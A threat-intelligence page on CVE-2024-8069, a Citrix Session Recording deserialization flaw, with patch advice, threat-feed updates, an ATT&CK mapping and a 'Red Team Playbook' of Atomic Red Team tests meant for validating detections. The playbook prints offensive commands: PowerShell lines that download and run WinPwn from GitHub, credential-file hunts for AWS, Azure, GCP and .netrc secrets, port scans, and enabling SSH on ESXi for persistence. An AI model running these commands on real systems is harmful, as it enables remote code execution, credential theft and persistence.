CVE-2024-8069

HIGH CISA KEV POC TTE 45d Pub 12/11 Upd 21/10

Overview

This vulnerability is a deserialization flaw (CWE-502) in Citrix Session Recording that allows limited remote code execution. The root cause lies in improper handling of serialized data within the session recording server component, which processes inputs from authenticated users on the same intranet. The flaw enables execution of malicious code with NetworkService account privileges due to insufficient validation of serialized objects.

Vulnerability Description

Limited remote code execution with privilege of a NetworkService Account access in Citrix Session Recording if the attacker is an authenticated user on the same intranet as the session recording server

Impact

An attacker with a low-privileged authenticated account on the internal network can execute arbitrary code on the session recording server with NetworkService privileges. This enables lateral movement within the network, potential data exposure of recorded sessions, and compromise of the recording infrastructure. The attack does not require user interaction beyond authentication, increasing risk in environments with multiple authenticated users on the intranet.

Solution

Citrix has released security updates addressing this vulnerability in Citrix Session Recording versions 1912 CU4 and later, including LTSR updates. Administrators should apply the patches as detailed in Citrix Security Bulletin CTX691941 (https://support.citrix.com/s/article/CTX691941-citrix-session-recording-security-bulletin-for-cve20248068-and-cve20248069). No alternative mitigations are provided; updating to the fixed versions is required to remediate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Citrix Session Recording allows for limited remote code execution with the privileges of a NetworkService Account, which poses a significant risk to organizations utilizing this software. This flaw arises from improper handling of authenticated user inputs, enabling an attacker with network access to exploit the system if they are already authenticated on the same intranet as the session recording server. The nature of the vulnerability suggests that it could be exploited through crafted requests or commands that the server fails to adequately validate, leading to unauthorized execution of code.

Attack vectors for this vulnerability are particularly concerning due to the requirement for the attacker to be an authenticated user within the same network. This scenario could be realized in environments where users have varying levels of access, such as in corporate intranets or shared workspaces. An attacker could leverage their authenticated status to execute malicious scripts or commands that could compromise the integrity and confidentiality of the session recording server. For instance, an insider threat or a compromised account could lead to the exploitation of this vulnerability, allowing the attacker to manipulate recorded sessions, extract sensitive information, or escalate privileges further within the network.

The real-world impact of this vulnerability can be profound, especially for organizations that rely on Citrix Session Recording for compliance and monitoring purposes. The ability to execute code remotely with elevated privileges can lead to data breaches, loss of sensitive customer information, and potential regulatory penalties. Furthermore, the exploitation of this vulnerability could disrupt business operations, damage the organization’s reputation, and erode customer trust. The financial implications of such incidents can be substantial, encompassing remediation costs, legal fees, and loss of business continuity.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching the Citrix Session Recording software is crucial to close any security gaps. Additionally, organizations should monitor user activity for unusual behavior that could indicate exploitation attempts. Employing network segmentation can also limit the exposure of the session recording server to only those users who genuinely require access, thereby reducing the attack surface. Furthermore, implementing strict access controls and user authentication measures can help prevent unauthorized access and limit the potential for exploitation.

In conclusion, the vulnerability in Citrix Session Recording represents a serious threat to organizations that utilize this software for session management and recording. The combination of remote code execution capabilities with the privileges of a NetworkService Account creates a pathway for attackers to compromise systems from within the network. Organizations must prioritize the detection and mitigation of this risk through proactive security measures, regular updates, and vigilant monitoring to safeguard their systems and sensitive data.




CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-8069, indicating increased adversary interest and potential exploitation attempts within intranet environments. Although the overall exploit prediction score remains stable, the uptick in telemetry suggests that threat actors are actively probing or leveraging this vulnerability more frequently. The emergence of new proof-of-concept exploits publicly available on code repositories further lowers the barrier for attackers to weaponize this flaw, potentially accelerating exploitation timelines. This development underscores an elevated risk posture for organizations relying on Citrix Session Recording, as the vulnerability enables remote code execution with NetworkService privileges, facilitating lateral movement and persistence within compromised networks. Consequently, defenders should recognize this as a signal of heightened threat activity that could precede more widespread exploitation campaigns, warranting increased vigilance despite the absence of confirmed ransomware linkage at this time.



Update 2 — August 14, 2026

CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2024-8069, indicating a modest uptick in adversary interest and potential exploitation attempts within intranet environments where Citrix Session Recording is deployed. Although the overall exploit trend remains stable, this subtle rise in telemetry signals a growing reconnaissance or initial access phase by threat actors leveraging authenticated network positions. The emergence of new proof-of-concept exploits further lowers the barrier for exploitation, potentially accelerating attack timelines. While there is no current evidence linking this vulnerability to ransomware campaigns, the increased activity heightens the risk of lateral movement and persistence within affected networks. Consequently, the threat level should be considered elevated from moderate to high, reflecting a more active exploitation landscape that demands sustained monitoring.



Update 3 — August 22, 2026

CSURFACE threat intelligence has identified a notable surge in exploitation attempts targeting CVE-2024-8069 within intranet environments, reflected by a marked increase in detection activity across our sensors. Although the EPSS score shows a slight decline, this metric does not fully capture the growing operational interest and active reconnaissance efforts observed. The availability of new proof-of-concept exploits continues to lower the technical barriers, facilitating more frequent and potentially sophisticated attempts to leverage the vulnerability. This escalation underscores an elevated risk of lateral movement and persistence by adversaries who have already gained authenticated access within affected networks. While ransomware involvement remains unconfirmed, the intensification of exploitation attempts signals a shift toward a more aggressive threat posture. Consequently, the threat level associated with CVE-2024-8069 should be reassessed as high, reflecting the increased likelihood of successful compromise and the need for vigilant monitoring of network activity related to Citrix Session Recording environments.

Affected Products (17)

Vendor Product Version CPE
citrix Citrix Session Recording All cpe:2.3:a:citrix:session_recording:*:*:*:*:-:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:-:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu1:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu2:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu3:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu4:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu5:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu6:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu7:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu8:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2203 cpe:2.3:a:citrix:session_recording:2203:-:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2203 cpe:2.3:a:citrix:session_recording:2203:cu1:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2203 cpe:2.3:a:citrix:session_recording:2203:cu2:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2203 cpe:2.3:a:citrix:session_recording:2203:cu3:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2203 cpe:2.3:a:citrix:session_recording:2203:cu4:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2402 cpe:2.3:a:citrix:session_recording:2402:-:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2407 cpe:2.3:a:citrix:session_recording:2407:-:*:*:-:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
mdiqbalahmad/cve-2024-8069-exp-Citrix-Virtual-Apps-XEN
Citrix Virtual Apps and Desktops (XEN) Unauthenticated RCE
mdiqbalahmad 0 2 2024-12-28 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

11 events
2026-08-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-08-25
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2024-12-28
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Deserialization Vulnerabilities
100% deserialization
Session Fixation
94% session_fixation
Remote Code Execution
81% rce
OS Command Injection
64% command_injection
Privilege Escalation
47% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-586 Object Injection
55%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-8069
support.citrix.com
GitHub CVE
https://support.citrix.com/s/article/CTX691941-citrix-session-recording-security-bulletin-for-cve20248068-and-cve20248069?language=en_US
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-8069